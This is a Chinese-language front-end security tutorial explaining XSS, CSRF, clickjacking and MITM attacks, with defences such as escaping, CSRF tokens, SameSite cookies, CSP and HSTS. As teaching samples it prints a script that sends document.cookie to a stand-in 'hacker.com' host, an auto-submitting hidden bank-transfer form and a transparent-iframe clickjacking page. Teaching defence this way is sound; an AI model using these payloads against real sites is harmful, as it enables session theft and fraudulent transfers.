前端安全防护实践
前端安全是 Web 应用的第一道防线。本文从攻击者视角出发,用大白话讲透 XSS、CSRF、点击劫持等常见攻击手段,并提供可落地的防护方案。不讲虚的,只讲能用的。
1. 为什么前端安全这么重要
大白话:前端就像你家的大门,后端是保险柜。大门没锁好,小偷进来能偷走钥匙、撬开保险柜、甚至冒充你去银行取钱。
1.1 前端安全的三大痛点
| 痛点 | 大白话类比 | 技术后果 |
|---|---|---|
| 代码完全暴露 | 别人能看到你家门锁的构造图 | 攻击者可审计前端代码找漏洞 |
| 用户环境不可控 | 客人可能带着撬锁工具进你家 | 浏览器插件、控制台可篡改代码 |
| 数据传输可被劫持 | 快递员可能偷看包裹内容 | HTTP 明文传输可被中间人窃听 |
2011年6月28日,新浪微博遭受大规模 XSS 蠕虫攻击。攻击者利用微博的 XSS 漏洞,用户只要访问含有恶意代码的页面,就会自动关注指定账号并转发带毒微博。短短几小时内,数万用户中招,包括大量知名大V,成为国内影响最广的 XSS 攻击事件之一。
1.2 前端安全攻防体系
2. XSS 攻击:最常见的前端杀手
XSS (Cross-Site Scripting) 跨站脚本攻击,攻击者把恶意 JavaScript 代码注入到网页中。
大白话:就像有人在你家门上贴了张假告示"请把钥匙放门口",然后你真的照做了。
2.1 XSS 攻击的三种类型
| 类型 | 攻击过程 | 危害等级 | 防御难度 |
|---|---|---|---|
| 存储型 XSS | 恶意代码存到数据库,其他用户访问时执行 | 极高(持久化攻击) | 中等 |
| 反射型 XSS | 恶意代码在 URL 中,服务器直接返回执行 | 中等(需诱导点击) | 简单 |
| DOM 型 XSS | 前端 JS 直接把不可信数据插入 DOM | 中等 | 较难(纯前端) |
2.2 XSS 攻击实例
场景 1:评论区存储型 XSS
<!-- 攻击者提交的评论内容 -->
<script>
// 窃取 Cookie 并发送到黑客服务器
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
<!-- 错误的渲染方式(危险!) -->
<div class="comment">
<!-- 直接插入用户输入,脚本会执行 -->
<%= comment.content %>
</div>
防御方案 1:HTML 转义
// 转义 HTML 特殊字符
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, (char) => map[char]);
}
// 安全渲染
const safeContent = escapeHtml(comment.content);
document.getElementById('comment').textContent = safeContent;
防御方案 2:使用安全 API
// 安全:使用 textContent(不会执行脚本)
element.textContent = userInput;
// 危险:使用 innerHTML(会执行脚本)
element.innerHTML = userInput;
// Vue/React 默认转义(安全)
// Vue
<div>{{ userInput }}</div> // 自动转义
// React
<div>{userInput}</div> // 自动转义
// 但使用 v-html / dangerouslySetInnerHTML 就危险了!
<div v-html="userInput"></div> // 危险
2.3 DOM 型 XSS 特殊案例
// 危险代码:直接使用 URL 参数
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = `欢迎 ${name}`;
// 攻击链接:
// https://example.com?name=
// 安全代码:转义或使用 textContent
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').textContent = `欢迎 ${name}`;
3. CSRF 攻击:冒充你的身份干坏事
CSRF (Cross-Site Request Forgery) 跨站请求伪造,攻击者诱导用户在已登录的网站上执行非本意操作。
大白话:有人偷了你的银行 VIP 卡,虽然不知道密码,但可以用你的身份去银行办业务(因为银行认卡不认人)。
3.1 CSRF 攻击流程
(携带用户的 Cookie) 银行网站->>银行网站: 5. 验证 Cookie 有效 银行网站->>黑客网站: 6. 转账成功 黑客网站->>用户: 7. 显示"恭喜中奖"页面 用户->>用户: 钱没了
3.2 CSRF 攻击代码示例
<!-- 黑客网站的钓鱼页面 -->
<!DOCTYPE html>
<html>
<head>
<title>恭喜中奖!</title>
</head>
<body>
<h1>恭喜您获得 iPhone 15 Pro Max!</h1>
<p>点击下方按钮领取奖品</p>
<!-- 隐藏的恶意表单 -->
<form id="attack" action="https://bank.com/transfer" method="POST" style="display:none">
<input name="to" value="黑客账号">
<input name="amount" value="10000">
</form>
<script>
// 页面加载时自动提交表单
document.getElementById('attack').submit();
</script>
</body>
</html>
3.3 CSRF 防御方案
方案 1:CSRF Token(最常用)
// 后端:生成随机 Token 并存到 Session
app.get('/form', (req, res) => {
const csrfToken = generateRandomToken(); // 生成随机 token
req.session.csrfToken = csrfToken;
res.render('form', { csrfToken });
});
// 前端:表单中包含 Token
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
<input name="amount">
<button>转账</button>
</form>
// 后端:验证 Token
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).send('CSRF Token 验证失败');
}
// 执行转账逻辑
});
方案 2:SameSite Cookie(现代浏览器推荐)
// 后端设置 Cookie 时添加 SameSite 属性
res.cookie('sessionId', 'xxx', {
httpOnly: true, // 防止 JS 读取
secure: true, // 只通过 HTTPS 传输
sameSite: 'strict' // 禁止跨站请求携带 Cookie
});
// SameSite 三个值的区别:
// - Strict:完全禁止跨站请求携带(最安全,但用户体验差)
// - Lax:允许 GET 跨站请求(默认值,平衡安全和体验)
// - None:允许所有跨站请求(需配合 Secure 使用)
方案 3:验证 Referer / Origin 头
// 后端验证请求来源
app.post('/transfer', (req, res) => {
const referer = req.headers.referer || '';
const origin = req.headers.origin || '';
// 检查请求是否来自可信域名
if (!referer.startsWith('https://bank.com') &&
!origin.startsWith('https://bank.com')) {
return res.status(403).send('请求来源不可信');
}
// 执行转账逻辑
});
- 用户可能禁用 Referer(隐私设置)
- 某些代理服务器会删除 Referer
- HTTPS → HTTP 跳转时浏览器不发送 Referer
建议:结合 CSRF Token 和 SameSite Cookie 多重防护。
4. 点击劫持:看得见摸不着的陷阱
点击劫持 (Clickjacking) 又称界面伪装攻击,攻击者用透明 iframe 覆盖正常页面,诱导用户点击。
大白话:你以为自己在点"取消订阅垃圾邮件",实际上点的是"转账 1 万元"按钮(按钮被透明覆盖了)。
4.1 点击劫持攻击演示
<!-- 黑客网站的钓鱼页面 -->
<!DOCTYPE html>
<html>
<head>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.0001; /* 几乎透明,用户看不见 */
z-index: 9999; /* 覆盖在最上层 */
}
#fake-button {
position: absolute;
top: 200px;
left: 300px;
font-size: 24px;
color: red;
}
</style>
</head>
<body>
<!-- 用户看到的假按钮 -->
<button id="fake-button">点击领取 iPhone!</button>
<!-- 透明的真实银行页面(转账按钮正好在假按钮位置) -->
<iframe src="https://bank.com/transfer"></iframe>
</body>
</html>
4.2 点击劫持防御方案
方案 1:X-Frame-Options 响应头
// 后端设置 HTTP 响应头,禁止页面被嵌入 iframe
app.use((req, res, next) => {
// DENY:完全禁止被嵌入
res.setHeader('X-Frame-Options', 'DENY');
// 或者 SAMEORIGIN:只允许同域嵌入
// res.setHeader('X-Frame-Options', 'SAMEORIGIN');
next();
});
方案 2:CSP frame-ancestors(更灵活)
// 使用 CSP 精确控制允许嵌入的来源
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"frame-ancestors 'none'" // 禁止所有嵌入
// "frame-ancestors 'self'" // 只允许同域
// "frame-ancestors https://trusted.com" // 允许指定域名
);
next();
});
方案 3:前端 JS 检测(辅助防护)
// 检测页面是否被嵌入 iframe
if (window.self !== window.top) {
// 页面被嵌入了,跳转到正常页面
window.top.location = window.self.location;
// 或者直接隐藏内容
document.body.style.display = 'none';
alert('检测到页面被非法嵌入,请直接访问我们的官网!');
}
5. 中间人攻击:偷听你的秘密
中间人攻击 (Man-in-the-Middle, MITM) 攻击者劫持客户端和服务器之间的通信。
大白话:你给朋友寄信,邮递员偷偷拆开看了内容,还可能篡改后再封回去。
5.1 中间人攻击场景
(明文传输) Note over 黑客: 2. 拦截并记录
用户名、密码 黑客->>服务器: 3. 转发请求给服务器 服务器->>黑客: 4. 返回响应 Note over 黑客: 5. 可能篡改响应
(如插入恶意脚本) 黑客->>用户: 6. 转发响应给用户 Note over 用户,服务器: 用户毫无察觉,数据已泄露
| 攻击场景 | 大白话 | 技术手段 |
|---|---|---|
| 公共 WiFi 劫持 | 咖啡厅的免费 WiFi 是黑客搭建的 | ARP 欺骗、DNS 劫持 |
| 运营商劫持 | 网络服务商偷偷插入广告 | HTTP 劫持、流量注入 |
| 代理服务器 | 翻墙工具可能记录你的数据 | 明文代理、伪造证书 |
5.2 HTTPS 防御原理
5.3 强制 HTTPS 最佳实践
// 1. 后端强制跳转 HTTPS
app.use((req, res, next) => {
if (req.protocol !== 'https') {
return res.redirect(301, `https://${req.hostname}${req.url}`);
}
next();
});
// 2. 设置 HSTS 响应头(防止降级攻击)
app.use((req, res, next) => {
res.setHeader(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload'
// max-age: 一年内强制 HTTPS
// includeSubDomains: 子域名也强制 HTTPS
// preload: 加入浏览器预加载列表
);
next();
});
<!-- 3. 前端:升级所有 HTTP 请求为 HTTPS -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
- Let's Encrypt:免费、自动续期、支持通配符证书
- Cloudflare:免费 CDN + SSL 证书一站式方案
- 阿里云/腾讯云:首年免费 SSL 证书
6. CSP 内容安全策略:终极防护罩
CSP (Content Security Policy) 是浏览器的安全白名单机制,限制页面可以加载哪些资源。
大白话:就像小区门禁,只有白名单上的快递员才能进入,其他一律拦截。
6.1 CSP 工作原理
6.2 CSP 配置示例
// 后端设置 CSP 响应头
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'", // 默认只允许同域资源
"script-src 'self' https://cdn.example.com", // JS 只能来自同域和指定 CDN
"style-src 'self' 'unsafe-inline'", // CSS 允许内联样式(慎用)
"img-src 'self' data: https:", // 图片允许同域、Data URI、HTTPS
"font-src 'self' https://fonts.gstatic.com", // 字体来源
"connect-src 'self' https://api.example.com", // AJAX 请求来源
"frame-ancestors 'none'", // 禁止被嵌入 iframe
"base-uri 'self'", // 限制 标签
"form-action 'self'", // 表单只能提交到同域
"upgrade-insecure-requests" // HTTP 自动升级为 HTTPS
].join('; ')
);
next();
});
<!-- 或者用 meta 标签设置(优先级低于响应头) -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://cdn.example.com">
6.3 CSP 常用指令
| 指令 | 作用 | 推荐值 |
|---|---|---|
default-src |
默认策略(兜底) | 'self' |
script-src |
限制 JS 来源 | 'self' https://cdn.com |
style-src |
限制 CSS 来源 | 'self' 'unsafe-inline' |
img-src |
限制图片来源 | 'self' data: https: |
connect-src |
限制 AJAX/WebSocket | 'self' https://api.com |
frame-ancestors |
限制页面嵌入 | 'none' |
'unsafe-inline':允许内联脚本/样式(容易被 XSS 利用)'unsafe-eval':允许 eval()(极度危险)
替代方案:使用 nonce 或 hash 白名单
6.4 CSP nonce 白名单(推荐)
// 后端生成随机 nonce
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');
// 设置 CSP 响应头
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${nonce}'`
);
// 渲染页面时传入 nonce
res.render('index', { nonce });
<!-- 前端:只有带正确 nonce 的脚本才能执行 -->
<script nonce="<%= nonce %>">
console.log('这个脚本可以执行');
</script>
<script>
console.log('这个脚本会被 CSP 拦截');
</script>
7. 其他安全最佳实践
7.1 敏感信息保护
| 场景 | 错误做法 | 正确做法 |
|---|---|---|
| 存储 Token | localStorage(易被 XSS 窃取) | HttpOnly Cookie + Secure |
| 敏感信息 | URL 参数(会被日志记录) | POST 请求体 + HTTPS |
| 第三方脚本 | 直接引入未知来源 | Subresource Integrity (SRI) |
| 用户输入 | 直接信任并使用 | 验证 + 转义 + 白名单 |
7.2 Subresource Integrity(子资源完整性)
<!-- 使用 SRI 确保 CDN 资源未被篡改 -->
<script
src="https://cdn.jsdelivr.net/npm/vue@3.3.4/dist/vue.global.js"
integrity="sha384-xxx"
crossorigin="anonymous"
></script>
<!-- 如果资源被篡改,hash 不匹配,浏览器拒绝执行 -->
7.3 安全响应头汇总
// Node.js Express 安全响应头配置
const helmet = require('helmet');
app.use(helmet({
// CSP 内容安全策略
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
frameSrc: ["'none'"],
frameAncestors: ["'none'"]
}
},
// HSTS 强制 HTTPS
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
// 禁止 MIME 类型嗅探
noSniff: true,
// 启用 XSS 过滤器(已废弃,但部分浏览器仍支持)
xssFilter: true,
// 禁止被 iframe 嵌入
frameguard: {
action: 'deny'
},
// 隐藏 X-Powered-By 响应头(防信息泄露)
hidePoweredBy: true
}));
8. 前端安全检查清单
- 用户输入全部转义(textContent 或转义函数)
- 避免使用 innerHTML、eval、Function 构造函数
- Vue/React 避免 v-html / dangerouslySetInnerHTML
- 配置严格的 CSP 策略
- 第三方库使用 SRI 校验
- 敏感操作使用 CSRF Token
- Cookie 设置 SameSite=Strict 或 Lax
- 验证 Referer / Origin 头
- 重要操作二次确认(如输入密码)
- 全站 HTTPS + HSTS
- 敏感信息不存 localStorage(用 HttpOnly Cookie)
- URL 中不传敏感参数(用 POST)
- 前端不做安全校验(后端必须二次验证)
- 日志脱敏(密码、Token 等不记录)
- 设置 X-Frame-Options: DENY
- 配置 CSP frame-ancestors 'none'
- 前端 JS 检测 iframe 嵌入
9. 总结
前端安全是一个系统工程,没有银弹,需要多层防护:
- XSS 防护是前端安全的重中之重,永远不要相信用户输入
- CSRF Token + SameSite Cookie 是防御 CSRF 的标配
- HTTPS + HSTS 是数据传输安全的基础
- CSP 是终极防护罩,能拦截大部分注入攻击
- 前端验证仅为体验,后端验证才是安全保障
安全无小事,一个疏忽可能酿成大祸。2011 年新浪微博 XSS 蠕虫事件中,攻击代码仅十几行,却在几小时内感染数万账号,造成严重的品牌信任危机。前端安全绝非小事,任何用户输入都不可信。
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- MDN Web 安全: https://developer.mozilla.org/zh-CN/docs/Web/Security
- CSP 策略生成器: https://report-uri.com/home/generate
- 安全响应头检测: https://securityheaders.com/